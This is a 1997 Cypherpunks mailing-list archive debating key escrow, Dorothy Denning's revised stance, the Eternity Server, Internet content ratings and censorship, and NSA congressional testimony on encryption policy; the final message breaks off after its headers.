>a breach of  ethics at Entrust?

>To restate.....what's wrong with what entrust is doing? Everyone has had 
>such a good time talking about spamming and cancels, but I'm really 
>interested in how Nortel is somehow committing a forgery.

>Also looking around the dejanews stuff about lewis, he seems to be a spam
> cancel freak yes, but no pedophile.

>Dimitri,   you seem to be a pretty smart guy...enlighten me on this whole
> thing. Do you mean that Nortel has a hand in the forging of spam
>cancels?  Or do you mean that they have a hand in forging software?

Well Dimitri has his own unique way of putting things. :)

This is my understanding of the issue that Dimitri has brought up:

- -- Chris Lewis is activly persuing a cource of censorship by forging &
canceling messages on USENET.

- -- Because of this activity Chris Lewis has low reputation capital.

- -- Nortel, by employing Chris Lewis, has reduced their reputation capital.

- -- Because of Nortel's reduced reputation capital their security products
are suspect.

Now, myself would require more information as to Chris Lewis' envolvement
with Nortel & their security products before I would be willing to come to
the same conclution that Dimitri has.

If Chris Lewis is only a janitor for Nortel I can not see how is
reputation capital would affect Nortel's. On the other hand if he was
activly involved with their security products or in a management position
where he could influance desisions about thier security products then I
would be apt to call into question just how secure their products were.

Of cource if they released thier source code then one could check for
themselfs the trustworthyness of their product.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+DItY9Co1n+aLhhAQFwuAP/Zjoj2IKpfVFTR/h1Cb9AtMPECLO6Tb1w
wVwE/DY/OBE8eNUs8XxVXNfvpeN3FvLChbH4qseuXjLD2BIx/WvJzQ9OqwBnpN8J
cLmz/1RsQ1LXwHG1GTYM+sllGXcG203Un7SD4nF1avvID/LaC81DYL28XYo2KrDM
CI0BwCLvANI=
=5v7f
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 1 Aug 1997 01:47:38 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311546.IAA24925@slack.lne.com>
Message-ID: <v03007803b0067a1a1c9e@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



BTW, Will R did a piece a month or so ago on Denning's shifting stance.
Maybe I should call her up and press her for details.

-Declan


At 08:46 -0700 7/31/97, Eric Murray wrote:
>"Encrypt expert revises views
>Authorities crack codes on their own"
>
>By Simpson Garfinkel, special to the Mercury News
>
>"A key academic supporter of the Clinton administrations position in the
>debate over controls on encryption software has found that the
>scrambling techniques widely used today have not shielded criminals from
>law enforecement authorities.  As a result, she is backing off from
>her long-held belief that controls on strong encryption are essential
>to fight crime"
>
>
>
>http://www.sjmercury.com/business/compute/encrypt073097.htm
>
>
>--
>            Eric Murray    ericm@lne.com      ericm@nabletech.com
>PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27
>29 AF



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:48:55 +0800
To: stutz@dsl.org
Subject: Re: Eternity Server 0.04 Available
In-Reply-To: <Pine.LNX.3.95.970730221808.1747L-100000@devel.nacs.net>
Message-ID: <199707311227.NAA00730@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Michael Stutz <stutz@dsl.org> writes:
> On Wed, 30 Jul 1997, Mike Duvos wrote:
> 
> > Eventually, the Eternity Server will also serve web content from a variety
> > of more permanent repositories, like Altavista and Dejanews.
> 
> How many other major repositories are there? I still have faith in Dejanews,
> but have serious doubts concerning the permanence and expanse of the
> Alta Vista database. Their Web index, at least, has not grown at the same
> pace as Web documents, and seeminly arbitrary sites trigger their "spam
> filter," where further URLs from that domain are refused.

What you say is probably true of the web index, but eternity uses
their USENET archive.  They seem to be keeping up with that.

There are a few altavistas around now.  I use one in europe somewhere
as it has faster net connectivity from where I am.


The idea of using altavista, dejanews, etc is really just a temporary
measure.  The long term goal is more abitious, but to garner interest
in eternity something has to be demonstrated first.

If someone said to you at this point that a useful resource like alt
USENET news was being cancelled forthwith, the hackers amongst those
that enjoy reading it would get together and rehost it somehow.


Here's one possible route to having a standalone distributed set of
eternity servers which does not rely on the borrowed resources of the
news search engines archives.  Modify USENET news distribution
software so that instead of expiring articles, it keeps around
articles for which there was either a direct payment made out for that
USENET node, or for which there are many requests (with micropayments)
to make it profitable to keep that article around.

The idea is to ensure that the use of the USENET node for eternity
purposes is self-funding.  If a node finds itself hosting lots of
eternity documents, it will generate enough funds to buy a bigger
disk.

Disks are cheap and getting cheaper.  I bought a 3.8Gb disk for $300 a
while back.  Reckon you could buy a 6Gb for the same price now, and
that was only a few months ago.  Probably around 5c per meg.

So here's the model: I want to post something which some government
would like to censor.  I include a storage fee of $1 digicash per
megabyte-year with my anonymous eternity document submission to USENET
cashable to a node of my choice.  (Or several payments for different
USENET nodes if I want the redundancy).

Now on top of this the USENET nodes can charge for NNTP access to that
document.  1c per meg or something to add to their profits, and to
cover bandwidth consumption.

Then we have a recursive auction market amongst USENET sites so that
if a site that does not have the article is asked for it, it will go
buy a copy from any node which will volunteer it for sale.  Then that
site will re-sell it multiple times to recuperate the buy price.

This can occur recursively, even small players with PPP lines can
participate by buying pages and re-selling them at a lower price to
reflect the poorer performance.

The way eternity is set up at the moment it is entirely feasible that
the re-seller of the eternity article would not know what it was they
were serving.

All the technology is here now (not all the software, but all the
technology, ecash, USENET, PGP signatures, encryption).  All we've got
to do is the proselytizing, advertising, putting juicy information up.

Heck I reckon perhaps if I code the USENET article reselling and
archiving stuff, I should put in a 1% royalty cut :-) 1% of eternity
document sales and storage charges might be a shit-load of money in a
few years.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 1 Aug 1997 02:50:46 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Rep. White introduces Internet Protection Act (fwd)
Message-ID: <199707311839.NAA21275@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Peter Trei" <trei@process.com>
> Date: Thu, 31 Jul 1997 10:12:58 -6
> Subject: Re: Rep. White introduces Internet Protection Act

> Here's a fun little thought experiment:

A flawed one.

> Considering the hairsplitting that takes place everyday
> in courtrooms these days, an arguement could be made that
> since virtually the entire net these days is optical fiber,
> there are no 'electronic' communications taking place.
> 
> Does the FCC charter mention photonic communications as 
> well? At what point does the charter allow them to 
> interfere? Here's some steps on the way...

Photons are the vector boson for em radiation, in a wire or in the air.
In the wire the photons go from electron and protons to other electrons and
protons. This is what makes them want to 'move'. Despite popular vision, they
don't go bumping into each other like a bunch of ping-pong balls in a pipe...

As an aside, this is actualy where the heat comes from not friction. Some of
the photons that are emitted are low frequency and not re-absorbed.

(having taught electronics for several years I  have grown to realy hate the
 hydraulic model)

> Is this an electronic communication?

Yes.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 20:48:25 +0800
To: cypherpunks@cyberpass.net
Subject: uncensorable net based payment system?
Message-ID: <199707311240.NAA00742@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




The internet looks like it is slowly moving towards anonymous
micropayments for services, and metering for scarce resources.

One presumes that in 10-15 years time frame such payments will be
pervasive.  In such an environment where you can buy bandwidth per Mb
at your chosen bit-rate for anonymous ecash, and buy storage per
Mb/year, and CPU time per MIPs/year there will be a large amount of
readily marketable resources.

That is to say high velocity efficient markets will arise for resale
of bandwidth, storage and CPU hours.


The interesting question then is can we actually base an entirely net
based currency on trading of these resources.  What would the
architecture for such a payment system look like?  Design goals would
be that it should be:

	- a distributed system
	- not involve trusted banks
	- be immediately exchangeable for any currency
	- be outside the influence of governments and banks
	- be immune to government hidden taxations such as printing
	  new money as a form of tax
	- be immune from government taxation
	- be a stable form of cash (in the face of rapidly
	  depreciating assets like Mb/years of storage as mass storage
	  devices continue their price plumet.)

Possible?

Then I can have some net cash savings backed by the rights to 1Tb
of bandwidth at 100 Mb/sec.  100 Mb/sec for 3 days.

A problem with this is that the market prices of the assets is
continually dropping.  How do I hedge against this.  Can I buy
futures?  Sell 100 Mb/sec for 3 days now in exchange for 200 Mb/sec
for 3 days in 1 years time at an predicted equivalent value? 

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 1 Aug 1997 01:56:30 +0800
To: cypherpunks@toad.com
Subject: Thomas Leavitt on why online news sites should not self-label
Message-ID: <v03007807b0067f5a5896@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



************

From: leavitt@webcom.com
Subject: FC: CNET editor endorses self-labeling, "news site" standard (fwd)
To: chris_barr@cnet.com
Date: Fri, 25 Jul 1997 06:53:49 -0700 (PDT)
Cc: declan

Chris,

 What is your response to DeClan's comments?

 My own is that restricting use of the labeling system to
"bona-fide" news sites is a self-serving action, consistent
with a desire to create barriers to entry and establish
restraint of trade, and would likely result in an organization
co-opted by industry leaders, like other "regulatory"
institutions.

 Furthermore, I think generic endorsement of the validity
of rating systems, and of collaboration with government in
encouraging them and other companies in making not having
them result in invisibility (instead of merely presenting
people with the option to choose filtered or unfiltered
content from a search engine, perhaps based on a browser
header or equivalent communication of intent/desire), is
very threatening to the integrity of the 'net and free
speech.

 In fact, the whole mania for ratings, the V-chip, tv
ratings, etc. is extremely alarming to me. Look at how
the Hayes' code crippled Hollywood, and the entire
industry for decades. Ratings and censorship, etc., are
very damaging to creativity and freedom of speech...
media that endorse and accept them inevitably wind up
being corrupted and failing to realize their potential.

 Ratings endorse (and provide a means for) the basic impulse
to impose ones views about the appropriateness of content
on another. Look at the nut cases parading around our
local libraries, protesting that "Dangerous Addictive
Materials" are being made available to children because
the library refuses to install filtering software (every
implementation of which I've heard about is horribly
unselective and politically/culturally suspect).

 They reflect the same impulse that lead an elected
member of Congress to state that "the Constitution is
a barrier to religious freedom" (something which days
later, still shocks me) since it prohibits granting religion
access to state resources, in acknowledgement of the
preferential treatment likely to be given to particular
branches (and the inevitable conflicts that would result).

 Do you really want to get in bed with this kind of mentality?
Is it appropriate for a journalistic institution to be making
these kinds of judgements? I don't see the L.A. Times
providing age and appropriate guidelines at the beginning of
every story.

 The image of a child running down the road, skin burning
with Napalm, is horrifying, and potentially traumatic, to
a child. At the same time, how many careers, how many idealists
and crusaders have developed as the result of seeing the
unvarished truth, at a young age? Do you really want to be
responsible for enabling a parent to deny their child the
potential for this transformative event?

 Isn't there a conflict of interest here? What if you find
that 40% of your content gets blocked by various filters,
and the organization down the street has 5% of their content
blocked, and as a result, is making more money that you are?
Won't this produce a race to the bottom, a tendency towards
"palatable", generically unoffensive content that is not
affected by your self-imposed filters?

 Would a writer or editor whose interests/style/topics of
choice result in 80% of his or her articles falling under
broad layers of your filter have the same success as a
writer/editor who wrote about nothing but happy puppy rescue
stories?

 The more I think about it, the more convinced I become
that journalists and media have no business involving themselves
in any way shape or fashion with rating of content. This is
a formula for pablum... network news is already bad enough.
And your proposal, desire, etc., would impose this requirement
on an entire industry. No "bona-fide" journalist would be
free of this conflict of interest. Every article, report,
photo, would be influnced by the question "how will this
be affected by the filters... will I be able to sell this
if it is... will I reach the audience I wish to reach with
my message/story, if I present it this way".

 Is that what you really want?

Regards,
Thomas Leavitt

[ Jesus, DeClan, this is far worse than I thought it would
be when I started out writing this letter. ]

> Since the Supreme Court said the online world should be
> as free as print, and no self-labeling system exists
> for magazines or newspapers, why should the Net be any
> different? Why isn't the Net community opposing
> "mandatory voluntary" self-labeling systems as
> staunchly as newspapers and magazines would fight a
> similar requirement? It's best to ask these questions
> of Christopher Barr (chris_barr@cnet.com), editor in
> chief of CNET, who endorsed such a proposal in his
> column below.
>
> Barr says that he wants to ensure "that
> only real news organizations claim [the] privilege"
> of rating as news sites with RSACnews. But who decides
> what's a news site? Is CNET? pathfinder.com? epic.org,
> which the government treats as a news site when responding
> to FOIA requests? The Drudge Report? How about the NAMBLA
> News Journal?
>
> My report on the possible perils of such systems is at:
>
>   http://pathfinder.com/netly/opinion/0,1042,1173,00.html
>
> -Declan
>
> ****************
>
> http://www.cnet.com/Content/Voices/Barr/072197/index.html


--
WebCom (sm)                        Thomas Leavitt--leavitt@webcom.com
Voice: (408) 457-9671 x101         Executive Vice President

WebCom Home Page <URL:http://www.webcom.com/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 03:31:51 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: Denning backs away from GAK
In-Reply-To: <199707311824.LAA25935@slack.lne.com>
Message-ID: <Pine.SUN.3.96.970731150114.14495H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Eric Murray wrote:

> Her support for GAK was also on 'utilitarian' grounds- she beleived 
> law enforcement's claims that crypto prevented them from catching criminals.
> 
> This new study sounds like it pokes large holes in Freeh etc's main
> justification of GAK.   That's just fine with me.  Ms Denning may change
> her mind again later, but this is useful right now.  Especially since
> Denning was the only respected cryptographer who sided with GAK.

It serves only to prove two points:

	a. She's a government mouthpiece interested only in what will
	   serve big brother.  She will support whatever they are willing
 	   to.  Her backing off only shows their admittance that GAK
	   isn't going to bring any ROI.

	b. GAK is stupid and they're admiting it. (Placing back doors
	   is doubly stupid because someone other than the TLA's might
	   find their way and break open the whole thing if it's done
	   as a back door, or someone will be bribed to release the
	   escrowed keys.)

I offer the above as points because of all the recent exports of 128 bit
cyphers being allowed.  (It is possible they've other limitations they're
not allowed to tell us about such as the same string being encrypted in
all communications, or limits on PRNG's, but we don't know yet.)

The side note that Freeh supports GAK, but she doesn't only shows that
they speak for different agencies.  We know which one Freeh speaks for, we
believe we know who she speaks for.

If the whole point of GAK is to catch stupid criminals anyway, it will
lose.  The only criminals that aren't going to be caught are the smart
ones.   We've argued this with her for years, but she's stuck to her party
line, and all of a sudden she changes the party line.  People don't change
their minds without reason, and an NSA mouth piece isn't likely to defect
and live to talk about it or reverse their position publically.

This might add some weight to the recent "leak" about the NSA being able
to break 128 bit cyphers in 30 minutes, then again who really knows? Could
be conspiracy theories, or FUD.  IMHO this is bullshit unless they've a
working quantum computer... (Still, maybe it's time to push the envelope
again just to be sure.  Anyone have a 256 bit version of IDEA? or shall we
go the 3DES way and produce 3IDEA? :)

> Yea, it'd be great if she suddenly got religion and started upholding
> the constitution, but this is still better than I would have hoped for.

Ha!  As likely as Dr. Vulis having tea and crumpets with Tim in a London
tea house and talking about how lovely the weather is. :)

I saw her speak a while back on these issues here in NYC... I've got a
tape of it, but haven't had a chance to transcribe it yet.  Believe me,
she doesn't have "religion," she doesn't give a rats ass about the
Constitution.  IMHO, she's wearing sheep's clothing and bleeting, but them
fangs are still there, and sharp as ever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 1 Aug 1997 04:03:02 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: Re: Denning backs away from GAK
In-Reply-To: <v03102807b00685fc9dd5@[207.167.93.63]>
Message-ID: <199707311949.PAA05625@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> At 9:54 AM -0700 7/31/97, William H. Geiger III wrote:
> >I serriously doubt that she has changed here stance on any of the current
> >Inet issuse mearly putting a different spin on them.
> 
> And her "second thoughts" on GAK were not based on a principled repudiation
> of the concept of "escrowing" keys, or on Constitutional grounds,  but only
> on the grounds that her study did not show that many criminal cases were
> much affected by the lack of key escrow.

Absolutely.  One wonders also if she may be concerned about loss of
reputation capital (i.e. her ability to be an effective advocate for
the NSA/LEA types).  The recent report by a panel of well-known
cryptographers arguing that key escrow is technologically and
economically infeasible has made her look pretty out of touch, since
she's been arguing exactly the opposite for years.


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 04:03:02 +0800
To: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731084010.009d8100@caprica.com>
Message-ID: <Pine.SUN.3.96.970731155237.14495K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That's ridiculous.  One shopping for an ISP, without
> access to the Net, is not in a position to read a
> notice in a newsgroup.  It makes sense that censorship
> and forgery advocates would also suggest means of hiding
> the truth.

Not quite.  Most ISP's charge by the month and most give trail
subscriptions with a free month or two weeks or whatever.  One shopping
for an ISP can sign up for three or four, and then cancel the lame ones.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 1 Aug 1997 04:14:31 +0800
To: cypherpunks@toad.com
Subject: JD Lasica on labels/censorware as threat to Net, in Salon
Message-ID: <v0300780fb0069e66a522@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain




*********

Subject: censorship story on salon
   Date: Thu, 31 Jul 1997 09:49:17 -0700
   From: Joseph Lasica <jlasica@microsoft.com>
     To: "'declan@well.com'" <declan@well.com>

Declan,

Hey, thought you'd be interested in the lead story today in Salon, the
one on the Ratings police.

*********

[I've attached the first part of the story below. Visit the web site for
the complete article; it's well worth a read. --Declan]

http://www.salonmagazine.com/july97/21st/ratings970731.html

RATINGS TODAY, CENSORSHIP TOMORROW

The Net industry is rushing to embrace ratings systems
for the Web. The technology will help parents keep
their kids away from porn. It can also help anyone
censor anything.

BY JOSEPH D. LASICA

A few years from now, when we look back at what
crippled the Internet as a global forum for the free
exchange of information, at least we'll know it was
done with the best of intentions.

Who, after all, could oppose Internet ratings if they
create a "family-friendly" online world?

And so, to make the Net safer for kids and to avert
government regulation, the Internet brain trust has
banded together to push rating, filtering and labeling
technology -- a private-sector techno-fix to cleaning
up the Net. President Clinton has signed on and has
used his bully pulpit to jawbone companies that were
wavering on the issue. And the news media have covered
the president's initiative with the gusto of a pep
rally.

With all this firepower behind them, ratings are
coming to a Web site near you -- in fact, to all Web
sites, if proponents have their way. And a panoply of
would-be censors -- from foreign despots to home-grown
zealots and pandering politicians -- couldn't be
happier.

"What's happening now is a move toward the privatizing
of censorship," says David Sobel, legal counsel for
the Electronic Privacy Information Center (EPIC).
"It's likely to destroy the Internet as it's existed
up till now."

There are a great many ironies here, but the greatest
irony is that the censorship will be self-imposed --
we're doing it for the sake of family, parents,
children. In truth, Internet ratings are being driven
by the changing business interests of the major
players involved.

In the last go-around over muzzling the Internet, Net
users, the computer industry, the media and civil
liberties groups all united against the government's
Communications Decency Act -- which the Supreme Court
buried last month. This time around, the lineup is a
lot more lopsided.

On one side: the U.S. government, the high-tech
industry, most major media outlets and a vocal cast of
parents' organizations, child-safety advocates and
anti-obscenity groups.

On the other: the American Civil Liberties Union,
EPIC, the American Library Association, a smattering
of university scholars and that guy over there waving
the "No ratings" sign.

Why have the software companies and Internet firms
gone over to the other side? Certainly, they're
spooked by the specter of Congress passing a "son of
CDA" bill. But it goes beyond that.

Internet ratings dovetail nicely with big business's
desire to make the Internet safe for God, apple pie
and commercialism. The "dark side" of the Net --
hackers, foreigners, political extremists, geeks,
"phreaks," porn purveyors, hate groups, people who
SHOUT IN ALL CAPS AND USE EXCLAMATION MARKS!!! -- will
largely be banished to an unrated no-man's land where
browsers and search engines fear to tread.

So it was no surprise that the invitation list to the
Internet summit at the White House on July 16 bore
names like Netscape, America Online and IBM rather
than names like geekboy or cybergrrrl. At the meeting,
President Clinton announced a "parental empowerment"
initiative that would give parents the tools to shield
children from obscenity, violence and antisocial
messages on the Net. Although every idea on the table
is software-based, the administration couldn't resist
dubbing the plan the "E-chip," a cousin of
television's V-chip, which will block unsuitable
programming.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 1 Aug 1997 04:15:29 +0800
To: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970731090708.00968100@caprica.com>
Message-ID: <Pine.SUN.3.96.970731155440.14495L-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 31 Jul 1997, Dr. Jai Maharaj wrote:

> That is unacceptable since the users would have already
> paid for the account by that time and signed a contract.

Bullshit.  I've had accounts on escape, dorsai, and now brainlink. 
Neither forced me to prepay or sign any contract. I've seen plenty of
offers from NetCom and other providers for a free month of access.  Even
AOL gives free demo hours.  

Any ISP that forces you to pre-pay for access or sign a contract isn't a
decent ISP by definition, and therefore any censoring they do is also
unimportant since they already by definition suck. 

There's enough competition between mom & pop ISP's out there that it
doesn't pay for them to censor or piss off their users.  The users can
simply tar their files and leave.  i.e.  Escape.com - when I was
subscribed to it had a broken trn, and after two-three months of asking
them to recompile it, I canceled my account and went elsewhere. (They had
tin, but I prefer trn.) 

There are also free and not so free news servers that one can point to,
DejaNews and other archive sources.  If your ISP precensors your feed, you
can get other feeds.

This is a silly arguement when the clients themselves can simply say no to
sucky censoring ISP's.

For example with my own accounts I refuse to subscribe to any ISP that
won't let me have a shell account.  PPP is nice and fine, but I want to be
able to run stuff from a shell. :)  (I wonder if the next volley of
censorship messages will say "Oh, that must mean you censor the ISP's
because you won't subscribe to ones that don't offer shell - to which I'll
answer fuck yes!)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Fri, 1 Aug 1997 07:47:15 +0800
To: cypherpunks@ssz.com
Subject: excerpt from William P. Crowell
Message-ID: <v04000d12b006c4406797@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt from prepared testimony of William P. Crowell deputy director,
National Security Agency before the House National Security Committee
Wednesday, July 29, 1997:

[Intro elided]

Goodlatte Bill and  National Security

Before I go into the details of what the nation needs in a balanced
encryption policy - a policy that gets strong encryption to be used widely
while at the same time protects the nation's public safety and national
security - it is important to understand that the Goodlatte bill would
directly threaten national security.

First, the Goodlatte bill would impact our foreign intelligence mission.
The analysis of foreign communications has, literally, helped shorten
global wars and averted regional ones. The export control process is very
important since it gives us valuable insights into what is being exported,
to whom, and for what purpose.

Second, the Goodlatte bill would undermine international efforts to catch
terrorists, spies, and drug traffickers. Quite simply, such efforts save
American lives and protect our free society. Secretary of Defense Cohen and
Attorney General Reno sent letters to you last week that very clearly state
their support for encryption policies that account for these national
security and public safety interests. Not only would the Goodlatte bill
jeopardize national security, it would do very little to achieve the goal
of getting strong encryption used widely. For these reasons, it is
important to understand some of the technical aspects of encryption so we
can develop balanced policy solutions that are technically sound.

[crypto 101 elided]

 The Administration's Approach To Encryption Policy

  Reform Is Very Different From Earlier Key Escrow Initiatives

Some have argued that the Administration's recent policy initiative is the
same as previous key escrow initiatives. Their argument is disingenuous and
incorrect. The KMI initiative is about creating an environment in which
commercial encryption can flourish. Just as significant, the
Administration's proposal differs significantly from previous key escrow
initiatives because:

  -- It eliminates the  focus on bit lengths;
  -- The government doesn't hold the keys;
  -- A separate key escrow infrastructure is not required;
  -- Keys can be held overseas;
  -- It doesn't prescribe algorithms or limit them to hardware; and,
  -- Users' data recovery needs can be met.

With these impediments addressed, industry and government can work to
develop encryption products that will win acceptance in foreign markets and
establish infrastructure services to support those products. Several major
companies recognize these profound changes and have formed business
ventures to thrive within the new climate. In October 1996 IBM formed the
Key Recovery Alliance and that alliance has already grown to over 50
domestic and international companies. Alliance members include Apple,
Mitsubishi, Boeing, DEC, Hewlett Packard, Motorola, Novell, SUN, America
Online, Unisys, and RSA.

Despite Being Available, Encryption is Not Being Widely Used

Most measurements of encryption are inadequate (incomplete or inconclusive)
since they do not show how many people are using encryption. Encryption can
be measured in a number of ways. Depending on how it is measured, one could
misconstrue the data to conclude that "the encryption genie is out of the
bottle" or that the bottle is tightly plugged.

The fact of the matter is that encryption is widely available (e.g.,
embedded in tens of millions of commercial software products) but, based on
our impressions from market surveys, etc., is not widely used. Those who
argue that government encryption policies are outdated because "the
encryption genie is out of the bottle" (i.e., there are many products
advertised to contain encryption and some of them are available from the
Internet) must consider two important perspectives.

First, encryption is not now being, and will not be, used to its fullest
potential (with confidence by 100s of millions of people) until there is an
infrastructure in place to support it. Encryption is not a genie that will
magically solve the security problem. Nor is the Administration trying to
'keep the plug in the bottle'. The Administration wants to help promote a
full range of trusted security services providing privacy, authentication,
and data integrity while simultaneously fulfilling public safety and
national security responsibilities for our government, and governments
worldwide.

Second, serious users of security products don't use free security products
from the Internet. The president of a prominent Internet security
corporation was recently asked in a magazine article on this issue: "Since
encryption technology is available as freeware off the Internet, why would
anyone pay a company for it?" He responded by saying: "Freeware is worth
exactly what you pay for it. I'd rather not implement security systems
using software for which the source code is available to any 12- yearold
who thinks being a hacker is fun." In other words, when determining what
encryption you use to protect valuable business secrets, you should
consider who you're getting it from, how it got to you, and whether you'll
receive support when you need it.

U.S.  Encryption Policies Are Addressing Concerns That The Rest
Of The World Is Also Facing

The U.S. is not the only nation which has concerns that encryption use by
criminals can threaten public safety. All countries that are major
producers of cryptography control its export. Some of those countries have
voiced their displeasure with the U.S. decision to export 56-bit
encryption. Though the U.S. does not have domestic restrictions, some
countries do through import controls of encryption and its domestic use.
Recently, France, Israel, and Russia imposed import and domestic use
restrictions, and severe Asian, South American, and African countries have
informally done so for many years.

At this point, it would be over-generalizing to say that the world has
agreed to an approach on key recovery, but it is accurate to say that all
governments want authorized access to encrypted information. The U.S. is
not the only nation that recognizes the dual-edged nature of the encryption
tool.

Wrap Up

The Administration is basing its policies on the foundation that the need
for robust commercial encryption will grow and it has proposed policy
reforms to ensure that American companies and the public, can flourish in
the future encryption market. The Administration 's approach is not past
its time, it is just in time. The fundamental issue in play is how industry
will build key management infrastructures to support mass market products
with encryption. If infrastructures are built that support key recovery,
then the export control debate can be concluded. Otherwise, governments
worldwide are likely to resist the use of those products because of public
safety concerns. Though the Administration's proposed policies will have a
significant impact on NSA, I believe they are a reasonable response to a
complex, interdependent set of issues. I hope that the Administration can
continue to work with Congress and industry to reach a resolution of these
issues. Thank you for the opportunity to address this important matter.

####


john noerenberg
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Fri, 1 Aug 1997 04:39:00 +0800
To: kent@songbird.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
